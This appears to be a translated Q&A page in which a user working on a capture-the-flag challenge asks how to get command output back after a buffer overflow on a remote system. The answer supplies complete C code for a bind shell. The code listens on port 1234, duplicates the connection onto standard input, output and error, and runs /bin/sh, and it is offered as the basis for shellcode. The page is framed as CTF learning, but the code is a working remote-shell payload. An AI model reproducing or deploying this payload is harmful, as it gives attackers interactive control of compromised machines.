Assembly 如何使用bufferoverflow远程执行程序并将输出写入套接字?

Assembly 如何使用bufferoverflow远程执行程序并将输出写入套接字?,assembly,system-calls,buffer-overflow,netcat,shellcode,Assembly,System Calls,Buffer Overflow,Netcat,Shellcode,我正在处理CTF挑战,因此这不是出于任何恶意目的。我已成功地使用缓冲区溢出来访问远程系统。然而,我的问题在于,我需要在这个系统上执行一个命令,然后将该命令的输出发送回我 如果不是远程系统,这将很容易实现,但考虑到它是远程系统,我现在的主要想法是使用Netcat将命令的输出传输给我。但我不知道如何完成这项任务,因为我不知道是否有可能用字节码完成这项任务,特别是在我使用的缓冲区空间有限的情况下 我能想到的另一种可能性是执行netcat,然后执行打印到标准输出的命令——然而,我对exec的理解是,它用

我正在处理CTF挑战,因此这不是出于任何恶意目的。我已成功地使用缓冲区溢出来访问远程系统。然而,我的问题在于,我需要在这个系统上执行一个命令,然后将该命令的输出发送回我

如果不是远程系统,这将很容易实现,但考虑到它是远程系统,我现在的主要想法是使用Netcat将命令的输出传输给我。但我不知道如何完成这项任务,因为我不知道是否有可能用字节码完成这项任务,特别是在我使用的缓冲区空间有限的情况下

我能想到的另一种可能性是执行netcat,然后执行打印到标准输出的命令——然而,我对exec的理解是,它用一个新程序替换当前程序。所以,如果我在执行netcat之后执行,这将关闭套接字并停止netcat,对吗


任何其他想法都将受到欢迎

与其为您编写shell代码,我将提供C代码,您将使用侦听端口进行连接,然后在接受后将STDIN、STDOUT、STDERR重定向到连接的文件描述符。然后可以启动
/bin/sh
。这将允许您与远程端进行交互:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

int main()
{
    struct sockaddr_in saddr;
    int connectionfd = 0;
    int socketfd = 0;

    char *argv[] = { "/bin/sh", 0 };

    bzero(&saddr, sizeof(saddr));
    socketfd = socket(AF_INET, SOCK_STREAM, 0);
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = htonl(INADDR_ANY);
    saddr.sin_port = htons(1234);

    bind(socketfd, (struct sockaddr *)&saddr, sizeof(saddr));
    listen(socketfd, 8);
    connectionfd = accept(socketfd, (struct sockaddr *) NULL, NULL);
    dup2(connectionfd, 0);
    dup2(connectionfd, 1);
    dup2(connectionfd, 2);
    execve (argv[0], &argv[0], NULL);
}
shell运行后,您可以发送如下命令:

/bin/ls
显示当前目录中的所有文件。如果不设置path环境变量,则必须提供希望运行的程序的完整路径。当然,您不需要运行
/bin/sh
,您可以运行任何您有权运行的程序
/bin/sh
只是一个方便的测试选择



注意:我已经停止了所有的错误检查,因为您可能不会从shell代码中进行检查。这只是一个简单的演示。

你在这方面有什么进展吗?
/bin/ls